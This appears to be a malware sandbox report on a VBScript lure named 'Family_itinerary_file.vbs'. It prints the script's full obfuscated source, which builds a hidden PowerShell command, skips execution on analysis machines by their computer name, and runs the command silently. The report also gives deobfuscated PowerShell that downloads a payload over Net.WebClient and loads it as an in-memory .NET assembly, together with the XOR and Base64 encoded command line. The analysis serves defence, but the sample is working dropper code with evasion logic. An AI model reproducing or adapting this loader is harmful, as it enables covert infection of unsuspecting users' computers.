Call Ugfdfging("je$j-lt$eMrFkFkkIFjeju7Z6.LekFkkIFjength;$j+=2kFkkIFje){$idVeQm4kFkkIFjeoldR")
Call Ugfdfging("+=[kFkkIFjechar]((kFkkIFje[ConvekFkkIFjert]::kFkkIFjeToInt32($kFkkIFjeeMrFju7ZkFkkIFje6.")
Dim pSarIgmId(8)
Public Const kkdheFAir = "Saggmmkm"
'iAjbdhpI  idSpfSo
nAhnjce = TimeSerial(7,7,7)
Dim kdikSdjhm(7)
Public Const ebgAnhr = "nidomrA"
'rmSjridgf  jemprkhm
hakdoSba = TimeSerial(9,9,9)
Dim ffddfnhr(7)
Public Const mpSarkSh = "FdFIbrS"
'mbkfmbd  dmAjmchd
aFmIIbrhI = TimeSerial(8,7,7)
Dim pbhAIcg(9)
Public Const AmfAcng = "mkrmkchd"
'mSIdaAgSA  dIFoIrfi
Call Ugfdfging("SubskFkkIFjetring($kFkkIFjej,2),16kFkkIFje))-bxorkFkkIFje$oM0QkFkkIFje3Oei[$i+kFkkIFj")
Call Ugfdfging("e+%$oM0Q3OekFkkIFjei.Length])kFkkIFje};$kWkFkkIFje9vai9Z=$kFkkIFjeidVeQm4olkFkkIFjedR")
Call Ugfdfging(";$idVekFkkIFjeQm4oldB=[kFkkIFjeConvert]::kFkkIFjeFromBkFkkIFjease64StrikFkkIFjeng([")
coibjgfdk = TimeSerial(8,9,7)
Dim oordFpc(7)
Public Const mkdrpggrj = "kkdjpSFI"
'fodpkrdf  aribamnA
dkmIdddgp = TimeSerial(8,8,9)
Dim pIojjmok(8)
Public Const AogkkbI = "hmonAkj"
'ddFgdcd  AjdmSdSed
pFIibFgkk = TimeSerial(9,8,7)
Dim icjhefiA(7)
Public Const eoknckm = "maempmf"
'dcrSkdgi  gFjpdarpe
nkaoiIfm = TimeSerial(9,9,7)
Dim ffFbrImec(7)
Public Const hhofoekm = "godmFkdiS"
Call Ugfdfging("regekFkkIFjex]::RkFkkIFjeeplace(kFkkIFje$jS5Rwki,kFkkIFje '$idVkFkkIFjeeQm4', ''kF")
Call Ugfdfging("kkIFje));$idVkFkkIFjeeQm4okFkkIFjeldR='';kFkkIFje$i=0;fokFkkIFjer($j=0;$j-k")
Call Ugfdfging("FkkIFjelt$idVkFkkIFjeeQm4olkFkkIFjedB.Length;kFkkIFje$j++)kFkkIFje{$idVeQm4kFkkIFjeoldR+k")
Call Ugfdfging("FkkIFje=[char]kFkkIFje($idVkFkkIFjeeQm4oldkFkkIFjeB[$j]-bxorkFkkIFje$eMjFkFkkIF")
Call Ugfdfging("jetBeC[$i+kFkkIFje+%$eMjFtBekFkkIFjeC.Length])kFkkIFje};$ww4tkFkkIFjefjSS3k")
Call Ugfdfging("FkkIFje=$idVeQm4okFkkIFjeldR;$vkFkkIFjevXRtigQkFkkIFje=$kW9vai9ZkFkkIFje+")
Call Ugfdfging("$ww4kFkkIFjetfjSS3;.(kFkkIFje$env:ComSkFkkIFjepec[4,26,kFkkIFje25]-jkFkkIFjeoin'')")
'IjhSaFb  Fheikachp
mgFremkF = TimeSerial(8,8,7)
Dim eISdfik(9)
Public Const nAdbkirdd = "pnnrIhdeF"
'mFerhaAA  kdgAAkSmm
nmbkgcmbb = TimeSerial(9,9,8)
Dim pgrcFoI(7)
Public Const fimmdodc = "IFAnmkFn"
'fAIhcfoIr  pfipehF
kdrgmaa = TimeSerial(7,7,7)
Dim AkAAieA(7)
Public Const fjIrmecgk = "adrdehdm"
'noamkSpa  fAdpeheo
IimoFkcI = TimeSerial(7,7,8)
Dim jmkkded(9)
Call Ugfdfging(" $kFkkIFjevvXRtkFkkIFjeigQ")
'fddddddddddd = Trim("Preftsfds") 
Set wshNetwork = WScript.CreateObject( "WScript.Net" & "work" )
'Phfdfsdffdsdffafegdodspfore! crizzling
'Gaffdsfdfsddfdfucdfho mooafnwalks unobsequiousness outwitter106
'Scddfsdfsdfdfsdfdfdfgigadfge corfpuscular hained
'Quaffsdftgffch anfavisnifdsngsret29
Const Micfffsdffdffgadfffoffafspace = "gfsfsdfsfdfs kaksdfdsados,"
Const Prffsdfdgliferating = &HFFFF0A52
Const Prfsdfsdfdfdgliferating = &HFFFF0A52
Const Boffdsfsdfdfrffdflber161 = &HFFFF195F
Const Bofsdfrffdflber161 = &HFFFF195F
Const Bofsdfrffdflhgber161 = &HFFFF195F
gddsfgd = wshNetwork.ComputerName
Const Unfffmfatfdronlike = 25821131
If  instr(ucase(gddsfgd), "M" & "AA1") > 0 OR _
 instr(ucase(gddsfgd), "CA"  & "V") > 0 OR _
 instr(ucase(gddsfgd), "CA"  & "V") > 0 OR _
instr(ucase(gddsfgd), "LNP" & "2")> 0 OR _
 instr(ucase(gddsfgd), "LNP" & "2")> 0 OR _
instr(ucase(gddsfgd), "-P" & "C") > 0 Then 
WScript.Quit      
End if
Const stfaffdsasdsafffdassgfandfvggfdbiddene = "glutfsffsffsadfnfffshageligses! vrdireduktidoners whereon."
Const Nisdfdffffffffffasdvffgesgsffffdlss = "Orkerfsdddfgfdffdfdsonffian aboulic"
Const Adddsasddfdffffvffsdsfdfmgpfaffhaigastria = "LeaddfsdfddsagffDdasfffdsefad: syncfhronizations"
Const Sdfddsdasdfffffasfsffdlfgfdgfsdfgafdtfsprgets = "Sofdasfdffffffcfddgfffsdfdrager vehfter nub,"
Const stfdaffffffffagfandfggfdbiddene = "glutfsfffdfafsfffshageligses! vrdireduktidoners whereon."
Const Nisdsadffffffffasdsdfgsgsffffdlss = "Orkerfsdfsfasdfgfdfonffian aboulic"
Const Adffdfdffffffasfggpfaffhaigastria = "Leffsdfddgfsefad: syncfhronizations"
Const Adfddasdfdffggpfaffhaigastria = "Leffsdfddgfseffad: synfcfhronizations"
Dim hdfhssdfgfdddfg 
hdfhssdfgfdddfg = "crkFkkIFjeipt.ShkFkkIFjeell" 
hdfhssdfgfdddfg = Replace(hdfhssdfgfdddfg,"kFkkIFje", "") 
Set dfgddfgfddfgdd = CreateObject( "" & jjfonimh(87)   &  jjfonimh(83)  & hdfhssdfgfdddfg  )
doAIjnmkmapd = Replace(ebjhirdrcoj,"kFkkIFje", "") 
'Candiru curdlers wolframmet214
Singesmetylaflausterl225 = FormatCurrency(4332)
GrXffdnYl = Right("invissfbvle", 3)                ' Last N charffdsfdsacters
AfLdftPu = Space(110)                            ' Generate 10 spafces
WsQfuGb = StrReverse("ecfvcdsadsaddsfho")
dfgddfgfddfgdd.Run  doAIjnmkmapd,0 
Function delectable(Mfgffdfdf97)
    ' Retufdgftgdgdfgsfrn the character for the given code (unchanged behavior)
    Delectable = Chr(Mfgffdfdf97)
    ' Refgged / altergdfdfged no-op lines, still using the same variables
    Skibstmrerssttte = "jfgdsddfm" & Skifdsttte & "Gffdsdddsdsdsors"
    ' Anotffgless agdfggssifnt, same variable retained
    Daabsvidnesvolfxdvbasadah = Coadasdand
    ' Sgefnt comment formatting
    '   Indfddfadgverdevelop; optagning; knikserens; spirillum
End Function
Function Ugfdfging (Mfgffdfdf97)
ebjhirdrcoj = ebjhirdrcoj & Mfgffdfdf97
GrXnsdfYl = Right("invadfdsddsddffsadfle",1)                ' Lafdfst N chafrs
AfLsdftPu = Space(3)                            ' Genefdsfsdate 10 fces
WsQudsfGb = StrReverse("ecffgdfgdffho")
'Caldigfdfephus abuser protei totemdite73
'Loanfgfffffffgggarking scgouged teugh, jernmaske.
End function 
Function jjfonimh(anhdpbkeAp)
'Dispdfddsfuperise yourselves langtfra
jjfonimh = "_"
cultirostralrigmorsdobb = Trim("Fddsasfdadds") 
Do Until asc(jjfonimh) = anhdpbkeAp
Karfotifn5 = int(rnd*2000)
'Liddmdli; bondepsigen sangskriveres spurgewort
If Karfotifn5 < (260-5) then 
GrXnYl = Right("invdsvdble", 2)                ' Last N characters
                           ' Generate 10 spaces
WsQuGb = StrReverse("efdvfsfdgafho")
                         ' Generate 10 spaces
WsgQuGb = StrReverse("efadgsdfho")
jjfonimh = Chr(Karfotifn5)
end if 
Loop 
End Function
WScript.Quit   
Function CalculateGrade(mark)
    Dim grade
    If mark >= 90 Then
        grade = "A"
    ElseIf mark >= 80 Then
        grade = "B"
    ElseIf mark >= 70 Then
        grade = "C"
    ElseIf mark >= 60 Then
        grade = "D"
    Else
        grade = "F"
    End If
    CalculateGrade = grade
End Function

Extracted strings

showing 200 of 392

Function CheckNumber(num)
Dim result
If num Mod 2 = 0 Then
result = "Even"
Else
If num > 0 Then
result = result & " and Positive"
ElseIf num < 0 Then
result = result & " and Negative"
result = "Zero"
CheckNumber = result
End Function
Randomize
Call Ugfdfging("FjerShell\kFkkIFjev1.0\pokFkkIFjewershekFkkIFjell.exe kFkkIFje$j=38-33;$kFkk")
FkrcrAbh = TimeSerial(7,9,9)
Dim AadFkip(7)
Public Const fohemkg = "gddokfk"
'nkfcdando nnFdpad
ohkjadS = TimeSerial(8,7,8)
Dim IdFoenS(9)
Public Const ckmmihAdg = "hckSdpAgk"
pjbbgfk = TimeSerial(7,9,8)
Dim fdachodec(7)
Public Const moASnkmkS = "kSpkmaFrf"
kmjkdnobd = TimeSerial(7,9,7)
Public Const iddnAnn = "jdrpokk"
FAfcpmhfn = TimeSerial(9,9,8)
Dim Frkmrdid(7)
Public Const oaafmbbS = "fnfkkhm"
jrfdjmi = TimeSerial(8,7,8)
Public Const Sbocommap = "mmoFomfpb"
kkjdkSSj = TimeSerial(9,7,8)
Dim brkmSIcg(7)
Public Const ddFrodb = "bbchakSr"
IjbFSdi = TimeSerial(7,7,8)
Dim khihrhkS(7)
'Sdnpnfc nkeaeSIS
jddignn = TimeSerial(7,8,9)
Dim bnIAbnog(7)
Public Const bpbdegAi = "aFkdped"
oSecicdnr = TimeSerial(9,9,7)
Dim mjdmojFmj(7)
Public Const apAfmeAb = "miImFmjrc"
SfimSegp = TimeSerial(8,7,9)
Dim IIeoAIImf(8)
Public Const jdpikgkmo = "SSnieog"
ddcamnAk = TimeSerial(8,8,9)
Public Const pSFmcab = "ndrmmfAic"
eoSbIkrih = TimeSerial(9,7,7)
Dim eAIhSSdjg(8)
Public Const ArcoAnopm = "kbeIcghb"
fAIkmjpk = TimeSerial(8,7,8)
Public Const maAkjimd = "ibSjabb"
'ofmfSjIF kpAngAgIk
akanirm = TimeSerial(7,9,7)
Dim nAndipfj(7)
Public Const jcfdkFk = "krdkakmne"
koomInm = TimeSerial(8,7,9)
Dim Ipremje(7)
Public Const pedfckS = "adkSdbm"
'okkmmeram cFbjSrI
ifmpnngb = TimeSerial(7,8,7)
Dim kdakIcno(8)
Public Const mkdebrS = "fkpkria"
ingoIdn = TimeSerial(7,7,8)
Dim rkfgdFFor(8)
Public Const pcaikbd = "SbhcakA"
gjdoFdodk = TimeSerial(7,7,7)
Dim ohIhnjkn(9)
Public Const fIAfrno = "jpedmph"
'gSrpamhAh ifSkmeb
igimApko = TimeSerial(8,9,7)
Dim gAcciId(7)
Public Const krjdodS = "diomSkakd"
ofIggro = TimeSerial(7,8,8)
Public Const anocAmA = "iieoddhS"
mdafoISm = TimeSerial(9,8,8)
Public Const Adcimdgoh = "eokmiirF"
FroenAai = TimeSerial(9,8,8)
Public Const pkaddkkp = "aIgocdmp"
AhrIjgnoS = TimeSerial(8,9,7)
Dim akhgjpgI(8)
Public Const mpdcapm = "Sbebpekr"
FmfgmkA = TimeSerial(9,8,8)
Public Const IhASdbiF = "rjhhmfa"
dfhpagd = TimeSerial(7,9,7)
Dim hehcSIm(7)
Public Const AeAkpcb = "nhmfaFmc"
'kpIgjoc SFeIohojm
ISomkrrA = TimeSerial(8,7,9)
Call Ugfdfging("c28f9kFkkIFjeb9afa9kFkkIFje6ad848bbakFkkIFje948eacaeadkFkkIFjebd95a7kFkkIFje849884a1a2kFk")
Public Const kfAcFFbrI = "adkFcFpp"
cgjohhdi = TimeSerial(8,8,9)
Dim dArdmma(8)
Public Const dbaoidcrS = "kjdjISdrb"
apdkSank = TimeSerial(9,7,9)
Dim cAdIomIa(9)
Public Const cdrkoack = "Anrjnejrc"
'oAmnoiIdI FSSkkmn
jdmrooa = TimeSerial(8,8,8)
Public Const AmkpSFgkm = "ISFdcdkfm"
'fFcaoanaA AmbFkpmS
noIgjjb = TimeSerial(7,8,8)
Dim bmbArkA(9)
Public Const ieeekdIrh = "ckkppnjd"
Arddhbim = TimeSerial(7,9,9)
Dim gdfkmSIkm(7)
Public Const bAkbIcino = "cpFrommSm"
'AdjccFdpa IardcjnbA
ojdokprSI = TimeSerial(7,9,8)
Dim oofIdFkmp(7)
Public Const cSmIFdc = "ommSnkdmo"
'goihiIic dnbdaemk
fIkcbmnam = TimeSerial(9,7,8)
Public Const ngcmgioro = "hcgohag"
'kerkkrne pFcemio
fmkkSaA = TimeSerial(7,9,9)
Dim Iemhdar(7)
Public Const ikdohman = "cjSjfbknA"
mkfjgpnFo = TimeSerial(9,7,7)
Dim rIgmoIm(8)
Public Const gkoAjAe = "ncIFkAn"
ckdmofk = TimeSerial(9,9,8)
Dim ogrhnrb(8)
Public Const Aarmajkab = "gkgaAji"
'kaddigid haphmckk
odnmcfbd = TimeSerial(8,7,7)
Dim kbpFjhe(9)
Call Ugfdfging("IFjedd19f9e9bfkFkkIFje58edd88b9kFkkIFje94a199kFkkIFjef88b8kFkkIFje2adeekFkkIFjea28")
Public Const nkgppAb = "gpbiioj"
'SdmmdkeA bfmadna
kkFkfIa = TimeSerial(8,7,9)
Dim ecjAamA(8)
Public Const daAbpFr = "rfApFoob"
'coIngApk kikSSrcek
iSgeoSnp = TimeSerial(7,7,9)
Dim hSeSaidj(8)
Public Const caddmoSd = "nfrSAISdr"
'SmpgFmofF ASjkkSn
nmrgaedSc = TimeSerial(9,9,9)
Dim kignroS(7)
Public Const bgbmmcf = "mfAopaIb"
hkehShep = TimeSerial(8,9,7)
Dim nFphdoiS(8)
Public Const dnomcmdFA = "ArdSrijoh"
'bakecjAd rnkrghp
ogjkfrrb = TimeSerial(7,8,7)
Dim pIFApIdm(8)
Public Const frdnhgAk = "eAScpee"
iAakakI = TimeSerial(9,8,8)
Dim ghhSmhI(9)
Public Const pjjofnji = "immieei"
fbFrnpm = TimeSerial(7,9,7)
Dim SSFaomAkf(8)
Public Const oFbdrdrdk = "dkiaFng"
hFfccdbA = TimeSerial(7,8,9)
Dim Fpfmghek(9)
Public Const ccoAedk = "mddjhFb"
'IAdkkkon IrAAkpoh
opjIFooik = TimeSerial(9,7,7)
Public Const bdmhrmp = "mmoiFSf"
'ddAmfdAd dehISdf
mfkSeFmd = TimeSerial(7,8,7)
Dim gpISFFhfr(7)
Public Const ifipdmbAd = "ApkSAmmg"
'ahAFIiha pmkdbfmA
piIdpbjib = TimeSerial(7,7,9)
Dim jAecgkFmo(9)
Public Const FShmomao = "dSocrkd"
Call Ugfdfging("e69bkFkkIFjef3e0cdacekFkkIFjedc4e6bbkFkkIFjedaeedea1fkFkkIFjead48dkFkkIFjef1c1eba1cbkF")
drnkbdm = TimeSerial(9,7,8)
Dim mkdFInm(7)
Public Const FhbkIdjAj = "ggioSgmn"
'Adofedhre hIFdemfr
ahSmbrfeg = TimeSerial(8,9,9)
Dim gerfnfofA(9)
Public Const oAfkeIAn = "mkbfcjcF"
gAfghkhd = TimeSerial(7,9,8)
Dim fAmmodbdI(7)
Public Const oiogrnbc = "oedgoFpb"
mrikoef = TimeSerial(7,8,9)
Dim nidergn(7)
Public Const rAanfjnmA = "mdrorkdmn"
jfeddnk = TimeSerial(8,8,8)
Dim oepFFji(7)
Public Const daSmjfi = "nhcmgrbA"
'Ikiijhim npgmmmn
Ingkjkmnd = TimeSerial(7,7,8)
Dim AimAckmm(9)
Public Const ppjenna = "bjmkecimr"
'dhSSfpmA FejamkjF
dkfFjheag = TimeSerial(8,9,8)
Public Const mdcIkmoSd = "mghcSoAc"
dFmhhpe = TimeSerial(8,7,7)
Dim roIkSkkaj(9)
Public Const IcAeSgk = "rmokhkmo"
AkAkkAbi = TimeSerial(7,7,9)
Dim cohmjdk(8)
Public Const fbemkFjpr = "SidjrdfAi"
acfAdFn = TimeSerial(8,9,8)

Stack and decoded strings were not recovered: this file format is not eligible for string emulation. Only literal strings present in the file are listed above.

Screen recording

8 frames · screen recording · 146s

1 / 8

0:00 · 1/8

Behavior summary

ran 146s

5 process(es) observed; malicious behavior: dropped_executable; 2 dropped executable(s)

Launchedwscript.exe //B //Nologo "C:\Users\user\Desktop\Family_itinerary_file.vbs"

Privilegestandard

Execution::Csc.EXE Execution Form Potentially Suspicious Parent [T1059.005]Execution::Csc.EXE Execution Form Potentially Suspicious Parent [T1059.007]Execution::Csc.EXE Execution Form Potentially Suspicious Parent [T1218.005]Execution::Csc.EXE Execution Form Potentially Suspicious Parent [T1027.004]Execution::Invoke-Obfuscation Obfuscated IEX Invocation [T1027]Execution::Invoke-Obfuscation Obfuscated IEX Invocation [T1059.001]Execution::Potential PowerShell Command Line Obfuscation [T1027]Execution::Potential PowerShell Command Line Obfuscation [T1059.001]Execution::Base64 Encoded PowerShell Command Detected [T1027]Execution::Base64 Encoded PowerShell Command Detected [T1140]Execution::Base64 Encoded PowerShell Command Detected [T1059.001]Dynamic .NET Compilation Via Csc.EXE [T1027.004]Execution::Suspicious PowerShell Invocation From Script Engines [T1059.001]Execution::Suspicious XOR Encoded PowerShell Command [T1059.001]Execution::Suspicious XOR Encoded PowerShell Command [T1140]Execution::Suspicious XOR Encoded PowerShell Command [T1027]

dropped_executable

Telemetry sources: Kernel ETW (455 of 1034 events) agent poll: 14Process audit: 5keydiff: 29

No WMI attributed to the sample. The WMI-Activity trace was running and recorded 934 operations on the machine during the run; none of them came from the sample's process tree.

Living-off-the-land binaries

3 LOLBin abuses

MED

powershell obfuscated PowerShell MITRE T1027

MED

powershell obfuscated PowerShell MITRE T1027

{$_-bxor$k}

MED

powershell obfuscated PowerShell MITRE T1027

function _o($med){$k=9;[System.Text.Encoding]::UTF8.GetString([byte[]]([System.Convert]::FromBase64String($med)|%{$_-bxor$k}))}

Deobfuscated scripts

7 blocks

PowerShell script blocks the sample executed, as PowerShell itself logged them (event 4104) - so an encoded or Invoke-Expression-decoded payload is captured in its final, deobfuscated form, the way it actually ran.

$global:?

{try{return $a32.DownloadData($_)}catch{}}

function d($a31){$a32=New-Object Net.WebClient;(Get-Random $a31 -Count $a31.Count)|%{try{return $a32.DownloadData($_)}catch{}}}

{$_-bxor$k}

function _o($med){$k=9;[System.Text.Encoding]::UTF8.GetString([byte[]]([System.Convert]::FromBase64String($med)|%{$_-bxor$k}))}

function _o($med){$k=9;[System.Text.Encoding]::UTF8.GetString([byte[]]([System.Convert]::FromBase64String($med)|%{$_-bxor$k}))}

Start-Sleep -Seconds 3
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$a30=(_o 'bVFHeWtkam5cOmVzbU5ffUZwSzhqO2V8U3BLXWxRRzlTXjl8XGRfZGtOX2NtTmV/a2N6bmpBX2BrTmVjQE5HelBRR3NAT0tmUF48OWs7OEFQUVtlbDpLOFBkcXlQcEtzbU5POWheRG5YUUdzU144YGtBYm5dTjBhU0xPc2o7X31QZHE8Qk5DPG1OX2tRWktnQlF9S2o6R2VrXkN6bFpLZllcT3NqO199UGRxPEVibWVtTF89U15HOG1OZXxTOU9zajtffVBkcTxCSmI+QE5lZEJObm5AXTh8bV5xekJRfTBAQUNlbUFfcGtgS0tqQUtMazs4YWhePXxYOl9wamRffG1MW39rXk95a2A8RGs7T2JCTmp5Rjo4MA==')
Add-Type -TypeDefinition ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($a30)))
function d($a31){$a32=New-Object Net.WebClient;(Get-Random $a31 -Count $a31.Count)|%{try{return $a32.DownloadData($_)}catch{}}}
function i($a3,$a4,$a5,$a6=@()){$a7=[PhantomGate]::LoadAssembly($a3);$a8=$a7.GetTypes()|?{$_.FullName -eq $a4};$a9=$a8.GetMethod($a5,([Reflection.BindingFlags](_o 'WXxrZWBqJUdmZ1l8a2VgaiVafWh9YGolQGd6fWhnamw=')));$b0=if(!$a9.IsStatic){[Activator]::CreateInstance($a8)};$a9.Invoke($b0,$a6)}

$b1=@(((_o 'YX19') + (_o 'eTMmJm5gfWF8aydqZmQmRnt8YmxkbHsmYGRobmwme2xlbGh6bHombWZ+Z2VmaG0mQGRobmwmOidjeW4=')),((_o 'YX19eTMmJj08Jzs7PCc4OjwnOD85Jm1mfmdlZmhteiY6J2N5bg==')),((_o 'YX19eTMmJjg5Pic4Pj0nOzw4Jzg4OyZgZG4mOidjeW4=')))
if(($b2=d $b1)-and($a4=[Text.Encoding]::UTF8.GetString($b2))-match(_o 'NTVaXUg=') + (_o 'W103NyEnIzYgNTVMRw==') + (_o 'TTc3')){
  $b3 = (_o 'fXF9J2BIYmNPQEAmMTEmMT0nPTs7JzAnPzg7JiYzbnpvYm5vYW96b3pt') ; $b3 = $b3.Substring(0, $b3.Length - 12)
$a31 = (_o 'OQ==') ;
$b4=(_o 'ZHB5e2Zue2hkJ0Fm') + (_o 'ZGxseg==');
    i ([Convert]::FromBase64String($Matches[1])) $b4 (_o 'e3xneno=') @($b3, $a31, '', (_o 'RHprfGBlbQ=='), (_o 'OQ==') , (_o 'cTE/'))
    Get-Process|sort CPU -desc|select -first 5|ft Name,CPU }

$j=38-33;$i1cdN4='hpEhPjfCgsB';$eMrFju7Z6='a4af81a18ea9a387ed8687eafe82a79ee9b7cda6e4d1f981bcbb89b4a984e38d8dbaaec18794a3a38da4b78f9fe0d597ae86f4c78abc9c91ae9dab94a7e4b2afa09ca781b29fd29b9f90bead8daff4acad94b6a99bb984d2f89c9dad9782ad9aa8efdc91ae9dab94a7e4cda0bc8ceba6cab9de9fe18bb5b69ae6b192ebd3bdc1e3c0d3bbb6bb9db6d793a08ca8a9c8ef898aa195aea89aedeae5c881a1a78eee9f8cbfaf81a1bfbfad93aeb8a4acb789a5bf9d9fc0fa9f8caeac9aabae969288afb886aeb684e2e7cf99b4a5b8c79ebc8bb7a886b68390be86b9b68badb6bbbb8aa591d3f78d84b1ebddcff0e4addafde4c09db5cfe598968aa1a88e9ca9bb82f7998fa1bfb7bbbdf7bc8997a0b79f93a5a8a7f08cd797c98280b19aa1ba90a08396a2aaa0d1959ebaa480a8b6b598fea7b98d8594f58ef0b4f6ae84bd9bb0f0989d969796a6b888eca0a7b6ad90a8f382a899e99caf8fa9f6c28f9b9afa96ad848bba948eacaeadbd95a7849884a1a2ac9d8a88ad92a08fda92b597a48c9f9edd9b8fbaa68095fdddf980afb698b6afcfa498838fb1bdf2a2bfa1c8affbb1fee8b99892aafaababf9ad9d9ed98d82ddb6a897a79da3888484e3bcf095f69edb9babb0a994d9a0bcb080b3a1b58b96e9a1b3b5f1f5d0989ebaba8aaa9493a29bbfb98daefae3baf3cf8883aefc96b29aa2bb8daff9b688a7ad8ea48cada99994b4aa9eb4a1e98baaf7969a89a382bb85f79bb79692f8aebff8a18da990bda4ae828db8989784a08fa9a49987b88e9ee99cb38bbab6b7a1b69af980bfaabfbf9a82998385f4ae89af8889a4bdf181befee09a9ab1d6f79bf28dd19f9e9bf58edd88b994a199f88b82adeea283c7fdebc0c0d3a9a6bec29683b0a9c9e08d91b2bfaba79ca9a280b9b087acfac799aea5b49de39c86a1b58bab94a791d3f78cbc84e2c1859fb49f9dbfb086a5f2b48195aeba8cbfadb5f8e0a9b095ad8e88bebcdef6899bb093aeabc1e9b8dbf2f3c6ebf7caaa9ca3ba9cabb581e29ee8e888fee8c1b9fe8ef1c8fd828cbaf4a7a0b08aa18ee0828cb9f7bfa7b8acae93a5a29df6f1afa7aec2909baea886a0f9cca3e9dee2d783a39ca3adc8e6bbdcf3d483a39ca3adc1beff94b688b9b79ba8ad9db0b4cfe69bf3fec789b69facb680a39e84ad9dacf1cc9df392a19bb4af81b6a495bfd7e5a48faeaf9da4b686e2b3c7e69bf3e0cdacedc4e6bbdaeedea1fad48df1c1eba1cba3cdfd97b9a5b886b6b582859bb4a9b4f7e3a4adbb8b8389b3a984afb591eafe8ef1d3fbe888f5e4cca3edc1859fb49890bdbc9beaf393fd81e493c78bac84ae';$jS5Rwki='c0R9WCUSVmcSAnYJWCsZZAYOMlMeOXpAZHBgS1t5Vg4zXBA8FV5

DNS queries

1 unique

Domain	Type
github.com	A

Also watched

no result to show

Observer	Result	What it means
TCP / UDP connections	none	The guest agent recorded no socket to a remote host.
TLS handshakes	none	No TLS session was negotiated, so there is no JA3/JA4 fingerprint to compare.
Beaconing analysis	not run	The interval analysis had no traffic to work from.
DGA scoring	no candidate	No resolved name scored as algorithmically generated.
IDS ruleset	0 alerts	The capture was replayed through the IDS ruleset and matched nothing.

Process tree

What ran during the detonation, and what each process did. Select a node to see the activity attributed to it.

5processes

11file operations

8registry operations

2dropped files

Family itinerary file.vbs

5 processes

Attributed activity

powershell.exe PID 3048

Image

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Command

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=38-33;$i1cdN4='hpEhPjfCgsB';$eMrFju7Z6='a4af81a18ea9a387ed8687eafe82a79ee9b7cda6e4d1f981bcbb89b4a984e38d8dbaaec18794a3a38da4b78f9fe0d597ae86f4c78abc9c91ae9dab94a7e4b2afa09ca781b29fd29b9f90bead8daff4acad94b6a99bb984d2f89c9dad9782ad9aa8efdc91ae9dab94a7e4cda0bc8ceba6cab9de9fe18bb5b69ae6b192ebd3bdc1e3c0d3bbb6bb9db6d793a08ca8a9c8ef898aa195aea89aedeae5c881a1a78eee9f8cbfaf81a1bfbfad93aeb8a4acb789a5bf9d9fc0fa9f8caeac9aabae969288afb886aeb684e2e7cf99b4a5b8c79ebc8bb7a886b68390be86b9b68badb6bbbb8aa591d3f78d84b1ebddcff0e4addafde4c09db5cfe598968aa1a88e9ca9bb82f7998fa1bfb7bbbdf7bc8997a0b79f93a5a8a7f08cd797c98280b19aa1ba90a08396a2aaa0d1959ebaa480a8b6b598fea7b98d8594f58ef0b4f6ae84bd9bb0f0989d969796a6b888eca0a7b6ad90a8f382a899e99caf8fa9f6c28f9b9afa96ad848bba948eacaeadbd95a7849884a1a2ac9d8a88ad92a08fda92b597a48c9f9edd9b8fbaa68095fdddf980afb698b6afcfa498838fb1bdf2a2bfa1c8affbb1fee8b99892aafaababf9ad9d9ed98d82ddb6a897a79da3888484e3bcf095f69edb9babb0a994d9a0bcb080b3a1b58b96e9a1b3b5f1f5d0989ebaba8aaa9493a29bbfb98daefae3baf3cf8883aefc96b29aa2bb8daff9b688a7ad8ea48cada99994b4aa9eb4a1e98baaf7969a89a382bb85f79bb79692f8aebff8a18da990bda4ae828db8989784a08fa9a49987b88e9ee99cb38bbab6b7a1b69af980bfaabfbf9a82998385f4ae89af8889a4bdf181befee09a9ab1d6f79bf28dd19f9e9bf58edd88b994a199f88b82adeea283c7fdebc0c0d3a9a6bec29683b0a9c9e08d91b2bfaba79ca9a280b9b087acfac799aea5b49de39c86a1b58bab94a791d3f78cbc84e2c1859fb49f9dbfb086a5f2b48195aeba8cbfadb5f8e0a9b095ad8e88bebcdef6899bb093aeabc1e9b8dbf2f3c6ebf7caaa9ca3ba9cabb581e29ee8e888fee8c1b9fe8ef1c8fd828cbaf4a7a0b08aa18ee0828cb9f7bfa7b8acae93a5a29df6f1afa7aec2909baea886a0f9cca3e9dee2d783a39ca3adc8e6bbdcf3d483a39ca3adc1beff94b688b9b79ba8ad9db0b4cfe69bf3fec789b69facb680a39e84ad9dacf1cc9df392a19bb4af81b6a495bfd7e5a48faeaf9da4b686e2b3c7e69bf3e0cdacedc4e6bbdaeedea1fad48df1c1eba1cba3cdfd97b9a5b886b6b582859bb4a9b4f7e3a4adbb8b8389b3a984afb591eafe8ef1d3fbe888f5e4cca3edc1859fb49890bdbc9beaf393fd81e493c78bac84ae';$jS5Rwki='c0R9WCUSVmcSAnYJWCsZZAYOMlMeOXpAZHBgS1t5Vg4zXBA8FV5tVnBeQ3RJTH9TK31aeFZPeVpjfFxiTG4+bUk3GnJIRXdlZFRDbEJZSEoMaQdSJGRBdlRzcVtSVwpPdUl7bGJ0C2NoW3hTS2AAAjkULAQXdAIbflsNMRlkBh1fQXVjXFF5XixEaFdRUn5LRGRSd2IJLHFUclxRdXRrTEd3XEVyFQFxBSxCCDJTHzl0S2ZSblobMlAWOxlEJhR4MjkbOAJ1DBhQFS0XbHkSAU5lFCkaLB8YNhp5eB0CdWlIUnl7B0FxamMoXHxbQkxfd3pvS2QFXFJLfVBuZFB8V29qXV5hX0MlRUlyem0JUV5dS3VqfztnN2led3UWemxiQlJnUkR7fU9zV0BHCTgYGj8eDj9iSjAaXGcCL1dyWlBveg09dUllBXZUXhFfV3JRfFIKE11QFH1baFtfTF9OY1hMSQtPDX0jUEEqAAI5FCkXG0ldBjBkfSEEYGt+e3hMcAh1eV4xb1kmXGltShFaR2ILfG9oQU16EX1ybFtZc2USKhoMORQINVpwGg4zXxctWSUbUScbC3ZTQTgZZAsOTWZDb0kLVVNmUFd/XEFKBx9FaUMHHVFXUkRJV3lTYhcXdAAPPhBIcUlmVxtJXQYwc3FGXF1qVCsVDzcWBThiah8UQQMWJHNcVVNMRWpxfHJBcHdnADgYGjYZBj9iSjAaUWtQJRUPPkYoGh0lG1ElEhs3FXp/HSJZa1ALbCV/bElQS29iU3NLWmlgfXBRD11GZlUgd19RU1VFVCF4T05HR35Nc2ZeI0R/QAQTcg51SxQ/Eh03GUcjHTgfF3QBCERIR2NJd1ZdcRoWOx0Bcg4rc1Z4VVJ/HQgwDDcWPhwWRyQMBS0dLWBcNhVpRgAYNxQlBD4cFkQjAA1PUiUYaV5wE3IPf2VYN1dYXAJgehoMMBYlF2x5EgFNel1jWGICDjEbHRo3BTAdJVYTPmlleFNT